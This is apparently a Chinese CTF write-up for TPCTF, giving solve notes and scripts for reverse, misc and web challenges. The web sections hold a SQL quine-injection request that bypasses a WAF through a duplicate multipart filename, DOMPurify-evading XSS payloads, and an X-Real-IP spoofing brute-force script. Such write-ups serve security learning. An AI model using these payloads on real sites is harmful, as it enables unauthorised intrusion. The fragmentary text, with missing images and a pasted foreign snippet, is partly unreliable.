update. 图片炸了,需要完整体验请访问公众号文章
re linuxpdf
跑了一下发现程序在root/files/00000000000000a9。
直接文本打开pdf找到第26行(?应该是,有一大坨base64
取出来找文件,base64→ zlib 解压得到binary。

md5


改的,参数不一样?
貌似直接gdb调试,打表一下就行…我没用户态qemu啊
怎么直接调用函数啊,貌似他表里面没有这几个函数怎么办。

?
然后爆破。
from hashlib import md5r = """38f88a3bc570210f8a8d95585b46b06583055ae80cdc8bd59378b8628d733fcbfa7daffbd7acec13b0695d935a04bc0fc29cc0fd3801c7fdd315c782999bd4cb2ba2d01af12d9be31a2b44323c1a4f47ddeebaf002527a9ead78bd16684573ccbf95b89934a1b555e1090fecdfd3da9fb6422c30b02938535f8e648d60a87b9408c1b76643af8dd50cb06d7fdd3cf8ed42d69719f97088f06540f412dc1706fba1f23da61615400e7bd9ea72d63567eb4e246f0a5dd3ce59465ff3d02ec4f984b8cf25f963e8e9f4c3fdda34f6f01a352d98d820835c75a9f981ad4db826bf8e702ead08a3dd56b3134c7c3841a652aad2d557b613662b92f399d612fb91591ee4422b6320ed989e7e3cb97f369cba3871803586c67059dda32525ce844c507983b371801d0ade07b5c4f51e8c6215e2b0d1b4885bc2fdc5a665266924486c5f792c9e7f05c407c56f3bec4ca7e5c1713855e5a5bbc1cbe18a6eab5dd97c063c886d45e0451bbba7c0341fe90a954f343a437cbe6591ea34896425856eae7b6534304967a067308a76701f05c0668551d6af7c4fedcf2b6777df8e83c932f883df88931e7eefdfcc2bb80d4a4f5710fbcb0fc813755a45ce5984bfba15847c1e""".split()for i in range(32, 127): for j in range(32, 127): if md5((chr(i) + chr(j)).encode()).hexdigest() == r[-1]: print(chr(i) + chr(j)) flag = chr(i) + chr(j)for j in range(26, -1, -1): for i in range(32, 127): if md5((chr(i) + flag).encode()).hexdigest() == r[j]: flag = chr(i) + flag print(flag) breakprint(flag)re portable

貌似逻辑在这一坨,
401894空函数,433a2b也是空的,主要内容在407f30。


看到一坨xor,貌似有了。
拿出来丢到cyberchef里,呃呃呃

misc raenil
分离帧,找几张明显点的图片,找二维码标志位然后还原
# from PIL import Image# gif = Image.open("raenil.gif")# for i in range(0, gif.n_frames):# gif.seek(i)# gif.save(f"output/raenil_{i}.png")import cv2import numpy as npimage = cv2.imread('output/raenil_14.png')pts1 = np.float32([[240,696],[269,766],[269,792],[241,743]]) # 17delta_x = 500delta_y = 100size = 100pts2 = np.float32([[delta_x, delta_y], [size + delta_x, delta_y], [size + delta_x, size + delta_y], [delta_x, size + delta_y]])matrix = cv2.getPerspectiveTransform(pts1, pts2)warped = cv2.warpPerspective(image, matrix, (1000,1000))cv2.imwrite('warped.png', warped)就在这几张图附近找找能找到剩下的部分内容,丢进qrazybox就好了




web baby layout


带出来就好了
web supersqli
python和golang解析form-data参数时如果同时出现filename,golang会跳过,可以绕过第一层golang的waf。
看了下sql数据库,没东西。貌似是个quine注入?保证输入内容和语句内容相同。
之前做了一道题看别人的wp不明所以,搁置了一段时间再看豁然开朗。 题目:CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection首先进入题目是一个登陆框,看了html源码发现有提示源码位置,进行查看: 12345678910111213141516171819202122232425262728293031323334353637<?php
问了魔法出来了这个
1' union select 1,2,replace(replace('1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".") || "',char(34),char(39)),char(46),'1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".") || "') || 'POST /flag/ HTTP/1.1Host: 1.95.159.113Pragma: no-cacheCache-Control: no-cacheDNT: 1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8sec-gpc: 1Content-Length: 535Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNYMxqkDehWaJWBfConnection: close------WebKitFormBoundaryDNYMxqkDehWaJWBfContent-Disposition: form-data; name="username"admin------WebKitFormBoundaryDNYMxqkDehWaJWBfContent-Disposition: form-data; name="huh";filename="1234"Content-Disposition: form-data; name="password"1' union select 1,2,replace(replace('1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".") || "',char(34),char(39)),char(46),'1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".") || "') || '------WebKitFormBoundaryDNYMxqkDehWaJWBf--web safe layout
根据前一题我们知道,关键就是把{content}塞到attribute里面。可以尝试不同的tag和attribute的组合,通过type定义进行爆破。
发现aria-和data-开头的attribute没有被过滤掉。和上一题一样构造即可。
<img data-1234="{{content}}" />1" src="" onerror="alert(1)web safe layout revenge
附件密码:TPCTF{D0_n07_M0D1FY_7h3_0U7PU7_Af73R_H7mL_5aN171z1n9}
这题把data-和aria-给过滤了。但是思路应该是一样的?
- Web: <http://1.95.61.75:3000>- Admin bot: <http://1.95.61.75:1337>Exploring the DOMPurify library: Hunting for Misconfigurations (2/2)

x<style><{{content}}/style><{{content}}img src=x onerror=alert()></style>""把content替换成“”,就是正常标签。

misc nanonymous spam
逆天脑洞题
发现不同ip地址得到的用户名不同,因此怀疑通过用户名反向得到ip地址。
尝试更改nginx识别到的ip,使用X-Fowarded-For发现无法改变,使用X-Real-IP发现可以改变。
通过fuzz,发现稍微更改ip,用户名不会发生很大的变化,因此怀疑ip是循环产生的。通过试验,发现大概为a+b*103+c*103*513+d*103*513*313这样,因此可以通过用户名反推地址。
通过逐位爆破得到了循环列表(改变最后一位似乎会随机改变位置,懒得爆出列表,所以直接爆破得了)
得到的ip转字符就是flag
import requests,string,socket,structs=requests.Session()a=['Wim', 'Het', 'Fau', 'Ria', 'Dio', 'God', 'Man', 'Lim', 'Fap', 'Bar', 'Sot', 'Uae', 'Faq', 'Gum', 'Doe', 'Kay', 'Vol', 'Bic', 'Ren', 'Sox', 'Ral', 'Pii', 'Fol', 'Noo', 'Wes', 'Law', 'Pic', 'Zig', 'Ric', 'Tad', 'Pav', 'Loo', 'Tea', 'Koh', 'Fia', 'Rep', 'Soa', 'Gog', 'Rim', 'Nec', 'Jun', 'Sus', 'Roh', 'Sac', 'Diy', 'Gin', 'Gul', 'Via', 'Tec', 'Mah', 'Rus', 'Cal', 'Wat', 'Mes', 'Pam', 'Sav', 'Luz', 'Lac', 'Jud', 'Lop', 'Tub', 'Lia', 'Kip', 'Nau', 'Loa', 'Roa', 'Dos', 'Nor', 'Jaz', 'Fim', 'Boo', 'Pad', 'Duo', 'Min', 'Vis', 'Hux', 'Cue', 'Soc', 'Caw', 'Rig', 'Wod', 'Pag', 'Tak', 'Cag', 'Coe', 'Lev', 'Ted', 'Vax', 'Peo', 'Uic', 'Cus', 'Huh', 'Rub', 'Gia', 'Raf', 'Bed', 'Pei', 'Sig', 'Pur', 'Qin', 'Dai', 'Deb', 'Pof', 'Neg', 'Tol', 'Lux', 'Jus', 'Uah', 'Que', 'Noe', 'Lov', 'Zee', 'Con', 'Fey', 'Soi', 'Tex', 'Pin', 'Kap', 'Sal', 'Luo', 'Tim', 'Mid', 'Daw', 'Had', 'Gam', 'Jul', 'Jie', 'Wol', 'Mon', 'Roc', 'Rel', 'Bas', 'Nou', 'Reo', 'Mar', 'Dao', 'Niu', 'Kev', 'Dee', 'Wip', 'Coc', 'Fes', 'Rat', 'Dig', 'Teu', 'Mob', 'Mae', 'Car', 'Tux', 'Dew', 'Xue', 'Poi', 'Sit', 'Xin', 'Per', 'Mos', 'Top', 'Gab', 'Yin', 'Loi', 'Jay', 'Moi', 'Yeo', 'Day', 'Dic', 'Haq', 'Dak', 'Mer', 'Wii', 'Pix', 'Fag', 'Dog', 'Por', 'Nib', 'Hog', 'Huw', 'Voc', 'Hob', 'Zep', 'Neo', 'Com', 'Seo', 'Cur', 'Mow', 'Reb', 'Jim', 'Noc', 'Big', 'Fin', 'Sek', 'Fav', 'Niv', 'Pom', 'Pes', 'Ker', 'Yao', 'Coq', 'Tif', 'Gem', 'Cel', 'Zit', 'Toc', 'Jet', 'Vow', 'Lon', 'Rev', 'Joi', 'Jem', 'Wad', 'Bom', 'Tar', 'Pua', 'Rao', 'Bio', 'For', 'Dec', 'Win', 'See', 'Pup', 'Mea', 'Fam', 'Muh', 'Doo', 'Moh', 'Sam', 'Maw', 'Tog', 'Moe', 'Tin', 'Hur', 'Won', 'Lox', 'Poa', 'Dun', 'Run', 'Bil', 'Vip', 'Viv', 'Del', 'Nae', 'Zip', 'Roo', 'Sum', 'Leh', 'Lam', 'Yoo', 'Yip', 'Tow', 'Pil', 'Nab', 'Goi', 'Gar', 'Qua', 'Cor', 'Hav', 'Let', 'Ree', 'Set', 'Lee', 'Cef', 'Jam', 'Fal', 'Daa', 'Put', 'Num', 'Vod', 'Tis', 'Cad', 'Mot', 'Rit', 'Lex', 'Nav', 'Sia', 'Lip', 'Nox', 'Raj', 'Pie', 'Hel', 'Bam', 'Fed', 'Los', 'Fax', 'Neh', 'Jag', 'Sec', 'Jap', 'Sun', 'Cea', 'Jug', 'Sis', 'Cut', 'Fit', 'Fox', 'Bum', 'Joh', 'Lag', 'Fic', 'Sae', 'Gaz', 'Yuh', 'Hee', 'Fae', 'Caf', 'Nag', 'Bay', 'Ray', 'Log', 'Dim', 'Bag', 'Gap', 'San', 'Sup', 'Kuo', 'Wav', 'Suh', 'Kal', 'Tom', 'Ret', 'Seb', 'Wil', 'Jen', 'Haz', 'Cum', 'Xiv', 'Pon', 'Cod', 'Kit', 'Biz', 'Gag', 'Fen', 'Leg', 'Uid', 'Bod', 'Peg', 'Fur', 'Pip', 'Vid', 'Ter', 'Mol', 'Yor', 'Tek', 'Koo', 'Sui', 'Gis', 'Cia', 'Jig', 'Nad', 'Sin', 'Wop', 'Hou', 'Xii', 'Mim', 'Naa', 'Nia', 'Fai', 'Cat', 'Mio', 'Vee', 'Sew', 'Pal', 'Bub', 'Lis', 'Cac', 'Bid', 'Pah', 'Dip', 'Goy', 'Rum', 'Hoc', 'Viz', 'Fog', 'Tax', 'Kin', 'Req', 'Kik', 'Coa', 'Meh', 'Mum', 'Lap', 'Mov', 'Pir', 'Bop', 'Der', 'Dag', 'Lei', 'Jit', 'Tod', 'Far', 'Tig', 'Tae', 'Ten', 'Toe', 'Sep', 'Mac', 'Hua', 'Vik', 'Piu', 'Rar', 'Hut', 'New', 'Pap', 'Hid', 'Xia', 'Hug', 'Rox', 'Rey', 'Meg', 'Zak', 'Uas', 'Dug', 'Bes', 'Ton', 'Lad', 'Hus', 'Lew', 'Jiu', 'Pub', 'Buy', 'Bet', 'Nog', 'Yak', 'Bau', 'Qol', 'Yet', 'Dor', 'Buh', 'Baz', 'Kat', 'Fei', 'Kon', 'Nuh', 'Noa', 'Cap', 'Cil', 'Tan', 'Jed', 'Dur', 'Bol', 'Sux', 'Gov', 'Dev', 'Teh', 'Bob', 'Bal', 'Pep', 'Hah', 'Res', 'Cai', 'Gas', 'Qiu', 'Wiz', 'Pis', 'Heh', 'Dil', 'Yer', 'Gon', 'Nis', 'Fiu', 'Ber', 'Gan', 'Bak', 'Fud', 'Cog', 'Zim', 'Doa', 'Bos', 'Hen', 'Hes', 'Dub', 'Web', 'Lol', 'Zoo', 'Vag', 'Lep', 'Vin', 'Cep', 'Sow', 'Naw', 'Mee', 'Vir', 'Jae', 'Lic', 'Gah', 'Wax', 'Zap', 'Bur', 'Civ', 'Tag', 'Led', 'Boe', 'Cin', 'You', 'Daf', 'Beg', 'Xan', 'Wix', 'Nun', 'Yap', 'Bai', 'Cox', 'Sur', 'Fet', 'Moj', 'Lau', 'Dis', 'Mat', 'Rid', 'Mal', 'Ris', 'Uis', 'Hib', 'Vie', 'But']b=['Nod', 'Tap', 'Liz', 'Mel', 'Fig', 'Rif', 'Rip', 'Pud', 'Foo', 'Haw', 'Wef', 'Kel', 'Gat', 'Hod', 'Mom', 'Lin', 'Fez', 'Rua', 'Fay', 'Pat', 'Ned', 'Taz', 'Sid', 'Mic', 'Nom', 'Hab', 'Rug', 'Men', 'Nok', 'Fun', 'Pox', 'Red', 'Jah', 'Tet', 'Hip', 'Tem', 'Bad', 'Mir', 'Taj', 'Maf', 'Rac', 'Zia', 'Hea', 'Fis', 'Dem', 'Bim', 'Gow', 'Hub', 'Job', 'Nex', 'Jas', 'Lie', 'Sim', 'Poc', 'Ran', 'Voa', 'Gig', 'Jes', 'Nie', 'Lal', 'Lek', 'Pen', 'Cos', 'Col', 'Nao', 'Mop', 'Bac', 'Cis', 'Mor', 'Vim', 'Ceo', 'Gic', 'Mii', 'Dep', 'Len', 'Few', 'Lob', 'Lea', 'Bec', 'Mui', 'Pec', 'Mab', 'Her', 'Tas', 'Tui', 'Kun', 'Vic', 'Too', 'Woe', 'Uav', 'Dam', 'Jin', 'Kaz', 'Yew', 'Cid', 'Jaw', 'Hay', 'Gib', 'Mis', 'Til', 'Six', 'Bot', 'Guo']c=['Ser', 'Dea', 'Jac', 'Way', 'Cio', 'Tie', 'Tun', 'Goa', 'Sap', 'Fan', 'Jor', 'Pit', 'Gor', 'Son', 'Mun', 'Dan', 'Veg', 'Wel', 'Sev', 'Jeb', 'Gio', 'Ceu', 'Bib', 'Cif', 'Bug', 'Zan', 'Mec', 'Rob', 'Lao', 'Hew', 'Quo', 'Hor', 'Foe', 'Mak', 'Hol', 'Fil', 'Cam', 'Nur', 'Vet', 'Yea', 'Yup', 'Lot', 'Jab', 'Goo', 'Soy', 'Pay', 'Hoe', 'Dud', 'Qos', 'Boa', 'Ceb', 'Lug', 'Nic', 'Rai', 'Nap', 'Sem', 'Rue', 'Bah', 'Sez', 'Jib', 'Ual', 'Mus', 'Cip', 'Cir', 'Yan', 'Div', 'Bor', 'War', 'Don', 'Tug', 'Tuk', 'Maj', 'Hae', 'Rui', 'Git', 'Gil', 'Lab', 'Med', 'Mag', 'Dui', 'Ruv', 'Raw', 'Sol', 'Foy', 'Sib', 'Sub', 'Moz', 'Ras', 'Mil', 'Rem', 'Nix', 'Dom', 'Ban', 'Zeb', 'Woo', 'Pus', 'Mau', 'Boi', 'Ped', 'Kee', 'Pop', 'Mix', 'Wai', 'Gun', 'Ley', 'Cee', 'Bok', 'Fao', 'Sul', 'Zac', 'Siu', 'Jan', 'Sai', 'Ged', 'Pau', 'Cop', 'Les', 'Suu', 'Dir', 'Var', 'Wap', 'Tai', 'Wah', 'Rei', 'Pas', 'Bat', 'Cas', 'Fad', 'Joe', 'Nir', 'Fem', 'Hai', 'Tal', 'Wea', 'Rok', 'Hoa', 'Goh', 'Hof', 'Nos', 'Roy', 'Nem', 'Bel', 'Yui', 'Wor', 'Neb', 'Tot', 'Luv', 'Yun', 'Lil', 'Doc', 'Lai', 'Hem', 'Kew', 'Lay', 'Nik', 'Gus', 'Hoh', 'Fix', 'Cup', 'Fer', 'Deo', 'Coy', 'Jer', 'Luc', 'Gif', 'Cou', 'Dob', 'Dow', 'Hum', 'Hom', 'Nan', 'Dot', 'Den', 'Yeh', 'Ces', 'Jak', 'Nei', 'Rag', 'Dar', 'Pun', 'Dex', 'Gee', 'Nes', 'Mit', 'Fos', 'Sed', 'Pac', 'Cic', 'Toi', 'Raz', 'Tok', 'Did', 'Rik', 'Hit', 'Kam', 'Hiv', 'Jut', 'Tee', 'Pod', 'Gir', 'Sax', 'Hat', 'Dab', 'Nai', 'Jez', 'Was', 'Bon', 'Kid', 'Him', 'Tia', 'Bin', 'Wep', 'Dup', 'Yue', 'Maa', 'Hao', 'Suv', 'Ken', 'Mod', 'Kan', 'Moc', 'Cow', 'Sex', 'Ben', 'Deg', 'Gaf', 'Yaw', 'Luk', 'Faa', 'Bow', 'Ror', 'Bee', 'Cob', 'Loy', 'Row', 'Det', 'Nut', 'Rah', 'Coi', 'Rap', 'Def', 'Hie', 'Tic', 'Wis', 'Mew', 'Dav', 'Sir', 'Zoe', 'Zin', 'Uac', 'Rab', 'Yen', 'Sip', 'Nip', 'Bir', 'Pak', 'Kar', 'Gen', 'Kea', 'Sor', 'Lod', 'Fas', 'Sif', 'Zag', 'Rea', 'Wed', 'Vex', 'Lem', 'Sob', 'Sue', 'Lar', 'Rav', 'Sou', 'Bev', 'Kek', 'Kol', 'Rae', 'Map', 'Dah', 'Pee', 'Tam', 'Loc', 'Boc', 'Coz', 'Ful', 'Paz', 'Hop', 'Bui', 'Ref', 'Coo', 'Rez', 'Seq', 'Lou', 'Hon', 'Leo', 'Bis', 'Dia', 'Hui', 'Mai', 'Pez', 'Boy', 'Rog', 'Dac', 'Tut', 'Rut', 'Cuz', 'Now', 'Nii', 'Yas', 'Doj', 'Saw', 'Bex', 'Fom']todo=['VicCouNeaGas', 'DemHohBojWod', 'PowFitGuoRut', 'VetTasBesDae', 'FasLiuTasJoi', 'DevRecWoeDia', 'BogHubSorHad', 'BagLibYupSix', 'MowPetBecZan', 'LonRecRipLuk', 'KarYapTajGot', 'TiaLiuFayDic', 'VizDivCitBot', 'LeaLatReaSac', 'FasLiuVicToc', 'KunSadMerMun', 'LemLiuGuoReq']def int_to_ip(ip_int): return socket.inet_ntoa(struct.pack("!I", ip_int))def split_string(s): return [s[i:i+3] for i in range(0, len(s), 3)]flag=''for j in todo: p=split_string(j) for i in p: if i in a: aa=a.index(i) if i in b: bb=b.index(i) if i in c: cc=c.index(i) for i in range(255): t=s.get('http://1.95.184.40:8520',headers={'X-Real-IP':int_to_ip(bb+103*aa+103*513*cc+103*513*313*i)}) m=t.text w=m.find('Post a Message') # print(m[w+60:w+60+12]) if m[w+60:w+60+12]==j: print(int_to_ip(bb+103*aa+103*513*cc+103*513*313*i)) for k in int_to_ip(bb+103*aa+103*513*cc+103*513*313*i).split('.'): flag+=chr(int(k))print(flag)84.80.67.8470.123.102.105110.97.108.108121.95.116.104101.95.99.114105.109.105.11097.108.53.95119.104.48.95112.117.98.108105.53.104.101100.95.116.104101.53.101.9553.112.97.10995.119.101.114101.95.97.114114.101.53.116101.100.125.32TPCTF{finally_the_criminal5_wh0_publi5hed_the5e_5pam_were_arre5ted}